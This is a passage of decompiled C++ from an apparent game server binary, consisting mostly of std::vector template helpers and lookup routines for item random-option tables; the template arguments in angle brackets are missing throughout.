*(std::vector >::iterator *)(__formal + 8), *((SHINE_XY_TYPE **)v2 + 1)); return v2; } if ( v7 ) v11 = (*((_DWORD *)v2 + 2) - v7) >> 3; else v11 = 0; v12 = *(_DWORD *)(__formal + 4) + 8 * v11; std::copy( *(ItemRandomOption::OptionCountTable **)(__formal + 4), (ItemRandomOption::OptionCountTable *)v12, *((ItemRandomOption::OptionCountTable **)v2 + 1)); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v12, *(std::vector >::iterator *)(__formal + 8), *((SHINE_XY_TYPE **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } //----- (00480DB0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, ItemRandomOption::ValueList *_Val) { std::vector > *v4; // edi@1 ItemRandomOption::ValueList *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00480E20) -------------------------------------------------------- ItemRandomOption::OptionTable *__cdecl std::_Copy_backward_opt(ItemRandomOption::OptionTable *_First, ItemRandomOption::OptionTable *_Last, ItemRandomOption::OptionTable *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { ItemRandomOption::OptionTable *v4; // esi@1 ItemRandomOption::OptionTable *v5; // edi@2 RandomOptionType v6; // eax@3 ItemRandomOption::OptionTable *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].ot_Type; --v4; --v5; v5->ot_Type = v6; std::vector>::operator_( &v5->ot_ValueList, (int)&v4->ot_ValueList); } while ( v4 != _First ); result = v5; } return result; } //----- (00480E60) -------------------------------------------------------- ItemRandomOption::OptionTable *__cdecl std::_Copy_opt(ItemRandomOption::OptionTable *_First, ItemRandomOption::OptionTable *_Last, ItemRandomOption::OptionTable *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { ItemRandomOption::OptionTable *v4; // esi@1 ItemRandomOption::OptionTable *v5; // edi@2 ItemRandomOption::OptionTable *result; // eax@4 v4 = _First; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v5->ot_Type = v4->ot_Type; std::vector>::operator_( &v5->ot_ValueList, (int)&v4->ot_ValueList); ++v4; ++v5; } while ( v4 != _Last ); result = v5; } return result; } //----- (00480EA0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ItemRandomOption::ValueList *_Val) { std::vector > *v2; // esi@1 ItemRandomOption::ValueList *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 ItemRandomOption::ValueList *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (TickTimer *)v2->_Mylast, 1u, (TickTimer *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00480F20) -------------------------------------------------------- void __cdecl std::fill(ItemRandomOption::OptionTable *_First, ItemRandomOption::OptionTable *_Last, ItemRandomOption::OptionTable *_Val) { ItemRandomOption::OptionTable *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->ot_Type = _Val->ot_Type; std::vector>::operator_( &i->ot_ValueList, (int)&_Val->ot_ValueList); } } //----- (00480F50) -------------------------------------------------------- ItemRandomOption::OptionTable *__cdecl std::_Uninit_copy>::const_iterator_ItemRandomOption::OptionTable___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, ItemRandomOption::OptionTable *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { ItemRandomOption::OptionTable *v5; // esi@1 std::vector >::const_iterator v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 ItemRandomOption::OptionTable *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->ot_Type = **(_DWORD **)&v6; std::vector>::vector>( &v5->ot_ValueList, (std::vector > *)(*(_DWORD *)&v6 + 4)); } ++v5; LOBYTE(v11) = 0; *(_DWORD *)&v6 += 20; } return v5; } //----- (00481000) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(ItemRandomOption::OptionTable *_First, unsigned int _Count, ItemRandomOption::OptionTable *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { ItemRandomOption::OptionTable *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 ItemRandomOption::OptionTable *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->ot_Type = _Val->ot_Type; std::vector>::vector>( &v5->ot_ValueList, &_Val->ot_ValueList); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (004810B0) -------------------------------------------------------- ItemRandomOption::OptionTable *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, ItemRandomOption::OptionTable *__formal) { return std::_Uninit_copy>::const_iterator_ItemRandomOption::OptionTable___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (004810D0) -------------------------------------------------------- ItemRandomOption::OptionTable *__thiscall std::vector>::_Ufill(std::vector > *this, ItemRandomOption::OptionTable *_Ptr, unsigned int _Count, ItemRandomOption::OptionTable *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00481100) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemRandomOption::OptionTable *_Val) { std::vector > *v4; // esi@1 RandomOptionType v5; // ecx@1 ItemRandomOption::OptionTable *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 std::vector >::const_iterator v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 ItemRandomOption::OptionTable *v19; // eax@23 std::vector >::const_iterator v20; // ecx@26 std::vector >::iterator v21; // ebx@26 ItemRandomOption::OptionTable *v22; // ecx@27 ItemRandomOption::OptionTable *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp+0h] [bp-38h]@1 RandomOptionType _Tmp; // [sp+Ch] [bp-2Ch]@1 std::vector > thisa; // [sp+10h] [bp-28h]@1 void *_Newvec; // [sp+20h] [bp-18h]@21 std::vector > *v29; // [sp+24h] [bp-14h]@1 int *v30; // [sp+28h] [bp-10h]@1 int v31; // [sp+34h] [bp-4h]@1 ItemRandomOption::OptionTable *_Wherea; // [sp+40h] [bp+8h]@28 ItemRandomOption::OptionTable *_Ptr; // [sp+44h] [bp+Ch]@21 int _Vala; // [sp+48h] [bp+10h]@21 ItemRandomOption::OptionTable *_Valb; // [sp+48h] [bp+10h]@26 v4 = this; v5 = _Val->ot_Type; v30 = &v25; _Tmp = v5; v29 = v4; std::vector>::vector>( &thisa, &_Val->ot_ValueList); v6 = v4->_Myfirst; v7 = 0; v31 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - v10) < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = (std::vector >::const_iterator)v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = (ItemRandomOption::OptionTable *)(*(_DWORD *)&v20 - 20 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_ItemRandomOption::OptionTable___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v20 - 20 * _Count), v20, *(ItemRandomOption::OptionTable **)&v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(v20.___u0.baseclass_0.baseclass_0.dummy[0] - 20 * _Count)); std::_Copy_backward_opt( *(ItemRandomOption::OptionTable **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(ItemRandomOption::OptionTable **)&v21, (ItemRandomOption::OptionTable *)(*(_DWORD *)&v21 + 20 * _Count), (ItemRandomOption::OptionTable *)&_Tmp); } else { std::_Uninit_copy>::const_iterator_ItemRandomOption::OptionTable___std::allocator>( _Where.baseclass_0, v20, (ItemRandomOption::OptionTable *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v31) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, (ItemRandomOption::OptionTable *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (ItemRandomOption::OptionTable *)v24; v31 = 0; std::fill( *(ItemRandomOption::OptionTable **)&_Where, (ItemRandomOption::OptionTable *)(v24 - 20 * _Count), (ItemRandomOption::OptionTable *)&_Tmp); } } else { if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - (v7 >> 1)) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = (std::vector >::const_iterator)v4->_Myfirst; _Newvec = v14; LOBYTE(v31) = 1; _Ptr = std::_Uninit_copy>::const_iterator_ItemRandomOption::OptionTable___std::allocator>( v16, _Where.baseclass_0, (ItemRandomOption::OptionTable *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, (ItemRandomOption::OptionTable *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_ItemRandomOption::OptionTable___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( v4, v19, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (ItemRandomOption::OptionTable *)((char *)v15 + _Vala); v4->_Mylast = (ItemRandomOption::OptionTable *)((char *)v15 + 20 * v18); v4->_Myfirst = (ItemRandomOption::OptionTable *)v15; } } if ( thisa._Myfirst ) operator delete(thisa._Myfirst); } //----- (00481400) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, ItemRandomOption::OptionTable *_Val) { std::vector > *v4; // edi@1 ItemRandomOption::OptionTable *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00481470) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { ItemRandomOption::OptionTable *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::const_iterator v7; // ecx@7 std::vector >::const_iterator v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v11 = &v9; v10 = this; if ( v2 ) v4 = _Right->_Mylast - v2; else v4 = 0; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( v4 > (unsigned int)&ddt.ddt_Table[2021][1471].direct ) std::vector>::_Xlen(this); v5 = 20 * v4; v6 = operator new(20 * v4); v3->_Myfirst = (ItemRandomOption::OptionTable *)v6; v3->_Mylast = (ItemRandomOption::OptionTable *)v6; v3->_Myend = (ItemRandomOption::OptionTable *)((char *)v6 + v5); v7 = (std::vector >::const_iterator)_Right->_Mylast; v8 = (std::vector >::const_iterator)_Right->_Myfirst; v12 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_ItemRandomOption::OptionTable___std::allocator>( v8, v7, (ItemRandomOption::OptionTable *)v6, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00481523) -------------------------------------------------------- void __usercall _L86386(int a1) { std::vector>::_Tidy(*(std::vector > **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00481540) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ItemRandomOption::OptionTable *_Val) { std::vector > *v2; // esi@1 ItemRandomOption::OptionTable *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 ItemRandomOption::OptionTable *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (004815D0) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionList::RandomOptionList(ItemRandomOption::RandomOptionList *this, ItemRandomOption::RandomOptionList *__that) { ItemRandomOption::RandomOptionList *v2; // ST14_4@1 memcpy(this, __that, 0x20u); v2 = this; std::vector>::vector>( &this->rol_Count, &__that->rol_Count); std::vector>::vector>( &v2->rol_Option, &__that->rol_Option); } //----- (00481640) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int __formal) { int v2; // ebx@1 void *v3; // esi@1 ItemRandomOption::OptionTable *v4; // ebp@2 signed int v5; // edx@3 int v6; // ecx@3 void *result; // eax@4 ItemRandomOption::OptionTable *v8; // edi@5 int v9; // eax@6 ItemRandomOption::OptionTable *v10; // eax@9 int v11; // eax@9 int v12; // eax@13 unsigned int v13; // eax@16 unsigned int v14; // eax@19 int __formala; // [sp+Ch] [bp+4h]@16 v2 = __formal; v3 = this; if ( this == (void *)__formal ) return v3; v4 = *(ItemRandomOption::OptionTable **)(__formal + 4); if ( !v4 || (v5 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(__formal + 8) - (signed int)v4)) >> 32) >> 3, (v6 = v5 + ((unsigned int)v5 >> 31)) == 0) ) { std::vector>::_Tidy((std::vector > *)v3); return v3; } v8 = (ItemRandomOption::OptionTable *)*((_DWORD *)v3 + 1); if ( v8 ) v9 = (*((_DWORD *)v3 + 2) - (signed int)v8) / 20; else v9 = 0; if ( v6 > (unsigned int)v9 ) { if ( v8 ) v12 = (*((_DWORD *)v3 + 3) - (signed int)v8) / 20; else v12 = 0; if ( v6 <= (unsigned int)v12 ) { v13 = std::vector>::size((std::vector > *)v3); __formala = (int)&v4[v13]; std::_Copy_opt( v4, &v4[v13], v8, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v4 + 20 * v13)); *((_DWORD *)v3 + 2) = std::_Uninit_copy>::const_iterator_ItemRandomOption::OptionTable___std::allocator>( (std::vector >::const_iterator)__formala, *(std::vector >::const_iterator *)(v2 + 8), *((ItemRandomOption::OptionTable **)v3 + 2), (std::allocator *)v3, (std::_Nonscalar_ptr_iterator_tag)__formala); return v3; } if ( v8 ) { std::vector>::_Destroy( (std::vector > *)v3, v8, *((ItemRandomOption::OptionTable **)v3 + 2)); operator delete(*((void **)v3 + 1)); } v14 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v3, v14) ) *((_DWORD *)v3 + 2) = std::vector>::_Ucopy( (std::allocator *)v3, *(std::vector >::const_iterator *)(__formal + 4), *(std::vector >::const_iterator *)(__formal + 8), *((ItemRandomOption::OptionTable **)v3 + 1)); return v3; } v10 = std::_Copy_opt( v4, *(ItemRandomOption::OptionTable **)(__formal + 8), v8, (std::_Nonscalar_ptr_iterator_tag)__formal); std::vector>::_Destroy( (std::vector > *)v3, v10, *((ItemRandomOption::OptionTable **)v3 + 2)); v11 = *(_DWORD *)(__formal + 4); if ( v11 ) { *((_DWORD *)v3 + 2) = *((_DWORD *)v3 + 1) + 20 * (*(_DWORD *)(__formal + 8) - v11) / 20; result = v3; } else { *((_DWORD *)v3 + 2) = *((_DWORD *)v3 + 1); result = v3; } return result; } //----- (004817D0) -------------------------------------------------------- ItemRandomOption::OptionTable *__thiscall ItemRandomOption::RandomOptionList::rol_FindOption(ItemRandomOption::RandomOptionList *this, RandomOptionType rot) { ItemRandomOption::RandomOptionList *v2; // esi@1 ItemRandomOption::OptionTable *v3; // ecx@1 ItemRandomOption::OptionTable *result; // eax@1 ItemRandomOption::OptionTable *v5; // ecx@5 ItemRandomOption::OptionTable *i; // eax@5 RandomOptionType key; // [sp+8h] [bp-20h]@1 int v8; // [sp+10h] [bp-18h]@1 int v9; // [sp+14h] [bp-14h]@1 int v10; // [sp+18h] [bp-10h]@1 int v11; // [sp+24h] [bp-4h]@1 v2 = this; v8 = 0; v9 = 0; v10 = 0; v3 = this->rol_Option._Mylast; v11 = 0; result = v2->rol_Option._Myfirst; key = rot; if ( result == v3 ) goto LABEL_11; do { if ( result->ot_Type == rot ) break; ++result; } while ( result != v3 ); if ( result == v3 ) { LABEL_11: std::vector>::push_back( &v2->rol_Option, (ItemRandomOption::OptionTable *)&key); v5 = v2->rol_Option._Mylast; for ( i = v2->rol_Option._Myfirst; i != v5; ++i ) { if ( i->ot_Type == rot ) break; } result = (ItemRandomOption::OptionTable *)(((i == v5) - 1) & (unsigned int)i); } return result; } //----- (00481860) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionList::_RandomOptionList(ItemRandomOption::RandomOptionList *this) { ItemRandomOption::RandomOptionList *v1; // esi@1 v1 = this; std::vector>::_Tidy(&this->rol_Option); if ( v1->rol_Count._Myfirst ) operator delete(v1->rol_Count._Myfirst); v1->rol_Count._Myfirst = 0; v1->rol_Count._Mylast = 0; v1->rol_Count._Myend = 0; } //----- (004818A0) -------------------------------------------------------- ItemRandomOption::RandomOptionList *__cdecl std::_Copy_backward_opt(ItemRandomOption::RandomOptionList *_First, ItemRandomOption::RandomOptionList *_Last, ItemRandomOption::RandomOptionList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { ItemRandomOption::RandomOptionList *v4; // esi@1 ItemRandomOption::RandomOptionList *v5; // edi@2 int v6; // eax@3 ItemRandomOption::RandomOptionList *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = *(_DWORD *)&v4[-1].rol_Index.n8_name[0]; --v4; --v5; *(_DWORD *)&v5->rol_Index.n8_name[0] = v6; *(_DWORD *)&v5->rol_Index.n8_name[4] = *(_DWORD *)&v4->rol_Index.n8_name[4]; *(_DWORD *)&v5->rol_Index.n8_name[8] = *(_DWORD *)&v4->rol_Index.n8_name[8]; *(_DWORD *)&v5->rol_Index.n8_name[12] = *(_DWORD *)&v4->rol_Index.n8_name[12]; *(_DWORD *)&v5->rol_Index.n8_name[16] = *(_DWORD *)&v4->rol_Index.n8_name[16]; *(_DWORD *)&v5->rol_Index.n8_name[20] = *(_DWORD *)&v4->rol_Index.n8_name[20]; *(_DWORD *)&v5->rol_Index.n8_name[24] = *(_DWORD *)&v4->rol_Index.n8_name[24]; *(_DWORD *)&v5->rol_Index.n8_name[28] = *(_DWORD *)&v4->rol_Index.n8_name[28]; std::vector>::operator_( &v5->rol_Count, (int)&v4->rol_Count); std::vector>::operator_( &v5->rol_Option, (int)&v4->rol_Option); } while ( v4 != _First ); result = v5; } return result; } //----- (00481920) -------------------------------------------------------- ItemRandomOption::RandomOptionList *__thiscall ItemRandomOption::RandomOptionTable::rot_Find(ItemRandomOption::RandomOptionTable *this, Name8 *idx) { std::vector >::iterator v2; // esi@1 std::vector >::iterator v3; // ecx@1 int v4; // eax@1 std::vector >::iterator v5; // ebx@1 ItemRandomOption::RandomOptionList *result; // eax@7 std::vector >::iterator fnd; // [sp+Ch] [bp-54h]@1 __int64 key; // [sp+10h] [bp-50h]@1 __int64 v9; // [sp+18h] [bp-48h]@1 __int64 v10; // [sp+20h] [bp-40h]@1 int v11; // [sp+28h] [bp-38h]@1 int v12; // [sp+2Ch] [bp-34h]@1 void *p; // [sp+34h] [bp-2Ch]@1 int v14; // [sp+38h] [bp-28h]@1 int v15; // [sp+3Ch] [bp-24h]@1 std::vector > thisa; // [sp+40h] [bp-20h]@1 unsigned int v17; // [sp+50h] [bp-10h]@1 v17 = (unsigned int)&fnd ^ __security_cookie; p = 0; v14 = 0; v15 = 0; v2 = (std::vector >::iterator)this->rot_OptionList._Mylast; v3 = (std::vector >::iterator)this->rot_OptionList._Myfirst; key = *(_QWORD *)&idx->n8_name[0]; v9 = *(_QWORD *)&idx->n8_name[8]; v10 = *(_QWORD *)&idx->n8_name[16]; v4 = *(_DWORD *)&idx->n8_name[28]; v11 = *(_DWORD *)&idx->n8_name[24]; v12 = v4; thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; std::find>::iterator_ItemRandomOption::RandomOptionList>( &fnd, v3, v2, (ItemRandomOption::RandomOptionList *)&key); v5 = fnd; std::vector>::_Tidy(&thisa); if ( v5 == v2 ) { if ( p ) operator delete(p); } else { if ( p ) operator delete(p); } __security_check_cookie((unsigned int)&fnd ^ v17); return result; } //----- (00481A10) -------------------------------------------------------- ItemRandomOption::RandomOptionDatum *__thiscall ItemRandomOption::RandomOptionTable::operator__(ItemRandomOption::RandomOptionTable *this, char *idx) { ItemRandomOption::RandomOptionTable *v2; // esi@1 char v3; // bl@1 ItemRandomOption::RandomOptionList *v4; // eax@1 char *i; // ecx@3 ItemRandomOption::RandomOptionDatum *result; // eax@8 FunctionEntarance _; // [sp+Ch] [bp-34h]@1 char index[4]; // [sp+10h] [bp-30h]@1 int v9; // [sp+14h] [bp-2Ch]@1 int v10; // [sp+18h] [bp-28h]@1 int v11; // [sp+1Ch] [bp-24h]@1 int v12; // [sp+20h] [bp-20h]@1 int v13; // [sp+24h] [bp-1Ch]@1 int v14; // [sp+28h] [bp-18h]@1 int v15; // [sp+2Ch] [bp-14h]@1 unsigned int v16; // [sp+30h] [bp-10h]@1 int v17; // [sp+3Ch] [bp-4h]@1 v2 = this; v16 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ItemRandomOption::RandomOptionTable::operator []"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemRandomOption::RandomOptionTable::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemRandomOption::RandomOptionTable::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v17 = 0; v15 = 0; v14 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; *(_DWORD *)index = 0; strncpy(index, idx, 0x20u); v4 = ItemRandomOption::RandomOptionTable::rot_Find(v2, (Name8 *)index); returnstr.rod_RandomOptionMaker = v4; if ( v4 ) { returnstr.MaxOpCount = 0; for ( i = (char *)v4->rol_Count._Myfirst; (ItemRandomOption::OptionCountTable *)i != v4->rol_Count._Mylast; i += 8 ) { if ( (signed int)(unsigned __int8)v3 < *(_DWORD *)i ) { v3 = *i; returnstr.MaxOpCount = *i; } } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemRandomOption::RandomOptionTable::operator []"); } else { --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemRandomOption::RandomOptionTable::operator []"); } __security_check_cookie((unsigned int)&_ ^ v16); return result; } //----- (00481B50) -------------------------------------------------------- void __cdecl std::fill(ItemRandomOption::RandomOptionList *_First, ItemRandomOption::RandomOptionList *_Last, ItemRandomOption::RandomOptionList *_Val) { ItemRandomOption::RandomOptionList *i; // esi@1 for ( i = _First; i != _Last; ++i ) { *(_QWORD *)&i->rol_Index.n8_name[0] = *(_QWORD *)&_Val->rol_Index.n8_name[0]; *(_QWORD *)&i->rol_Index.n8_name[8] = *(_QWORD *)&_Val->rol_Index.n8_name[8]; *(_QWORD *)&i->rol_Index.n8_name[16] = *(_QWORD *)&_Val->rol_Index.n8_name[16]; *(_QWORD *)&i->rol_Index.n8_name[24] = *(_QWORD *)&_Val->rol_Index.n8_name[24]; std::vector>::operator_( &i->rol_Count, (int)&_Val->rol_Count); std::vector>::operator_( &i->rol_Option, (int)&_Val->rol_Option); } } //----- (00481BC0) -------------------------------------------------------- ItemRandomOption::RandomOptionList *__cdecl std::_Uninit_copy>(ItemRandomOption::RandomOptionList *_First, ItemRandomOption::RandomOptionList *_Last, ItemRandomOption::RandomOptionList *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { ItemRandomOption::RandomOptionList *v5; // esi@1 ItemRandomOption::RandomOptionList *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 ItemRandomOption::RandomOptionList *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) ItemRandomOption::RandomOptionList::RandomOptionList(v5, v6); ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00481C70) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(ItemRandomOption::RandomOptionList *_First, unsigned int _Count, ItemRandomOption::RandomOptionList *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { ItemRandomOption::RandomOptionList *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 ItemRandomOption::RandomOptionList *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) ItemRandomOption::RandomOptionList::RandomOptionList(v5, _Val); --v6; ++v5; LOBYTE(v10) = 0; } } //----- (00481D20) -------------------------------------------------------- ItemRandomOption::RandomOptionList *__thiscall std::vector>::_Ufill(std::vector > *this, ItemRandomOption::RandomOptionList *_Ptr, unsigned int _Count, ItemRandomOption::RandomOptionList *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00481D50) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, ItemRandomOption::RandomOptionList *_First, ItemRandomOption::RandomOptionList *_Last) { ItemRandomOption::RandomOptionList *i; // esi@1 for ( i = _First; i 